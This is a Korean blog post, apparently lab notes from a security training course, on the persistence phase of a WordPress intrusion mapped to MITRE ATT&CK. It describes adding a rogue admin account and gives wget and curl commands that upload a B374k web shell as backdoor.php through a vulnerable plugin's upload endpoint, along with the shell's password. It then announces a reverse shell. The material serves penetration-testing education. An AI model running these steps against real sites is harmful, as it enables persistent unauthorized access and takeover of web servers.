fngs.kr | 4. 지속
fngs.kr 4. 지속 단계
본 내용 및 실습 환경은 KISEC, 케이쉴드 주니어 교육 과정에 있음을 알려드립니다.
이전 내용
관리자 계정에 대한 패스워드를 크랙하는데 성공했다. 하지만 해당 계정의 패스워드가 다시 변경 되어 재접근이 힘들 수가 있다. 따라서 지속적으로 접근하기 위한 방법이 필요하다.
Persistence
지속성은 공격자는 다시 시작, 자격 증명 변경 및 액세스가 차단될 수 있다.
예를 들어, 담담자에 의해 관리자 권한으로 들어온 것이 들통나게 되어 관리자 패스워드 변경 및 접속 차단이 될 수가 있다.
이러한 기타 중단을 대비해 시스템에 대한 액세스를 지속하기 위해 사용하는 기술로 구성됩니다.
Create Account
해당 관리자 계정의 패스워드가 변경되면 해당 계정으로는 접근이 불가할 것이다. 그렇기에 관리자 권한을 가진 계정을 새롭게 만들 수 있다.
실제로는 운용중인 계정이 수도 없이 많을 것이다. 이렇게 계정을 직접 만들면 매번 확인하는게 아니라면 탐지에 어려울 수 있다.
Server Software Component : Web Shell
자격 증명을 얻고 나서 지속적으로 액세스 하기 위해 파일 업로드 취약점이 존재하는 플러그인을 강제로 활성화시켜 웹 쉘을 올릴 것이다.
웹 쉘은 공격자가 웹 서버를 네트워크의 게이트웨이로 사용할 수 있도록 공개적으로 액세스할 수 있는 웹 서버에 배치되는 웹 스크립트입니다.
만약, 공격자가 웹쉘을 통해 CMD 명령을 통해 정보 탈취 및 악의적인 행위를 수행한다면 해당 전술(웹 쉘)에 맵핑이 될 수 없다.
지속적이 아닌 탈취 및 다른 행동이 주 목적이였다면 Excution > Command and Scripting Interpreter: Windows Command Shell 전략 및 전술에 포함 될 것이다.
또한, Persistence > Browser Extensions가 아닌 이유로는 브라우저 확장을 살펴보면 플러그인에 대한 내용은 악성 브라우저, 플러그인 확정 설치로 설명되어있다.
그렇다는 것을 우리는 일반적으로 사용하는 플러그인이므로, 악의적으로 만들어진 플러그인이 아니므로 해당 항목에 맵핑 될 수 없다.
다시 돌아와서 플러그인 활성화부터 진행하겠습니다.
Plug in을 설치하여 압축 해제 없이 아래처럼 올리고 활성화 된다.
이렇게 웹 쉘을 올릴 수 있는 환경이 만들어졌고, B374k 웹 쉘을 올릴 것이다. (해당 웹 쉘을 Git에도 있으므로, 서칭해보시길 바랍니다.)
wget [webshell.url]
cp b374k-3.2.3.php ~/backdoor.php
curl -k -X POST -F "action=upload" -F "Filedata=@./backdoor.php" -F "action=nm_webcontact_upload_file" https://dev.fngs.kr/wp-admin/admin-ajax.php
이후, http://……../[upload_backdoor_name] 을 통해 접근하면 아래처럼 된다.(웹 쉘 접속 비밀번호 : b374k)
웹 쉘이 정상 작동하는 것을 확인 할 수 있다. 이번에는 2차 침투를 위해 리버스 쉘을 실행할 것이다.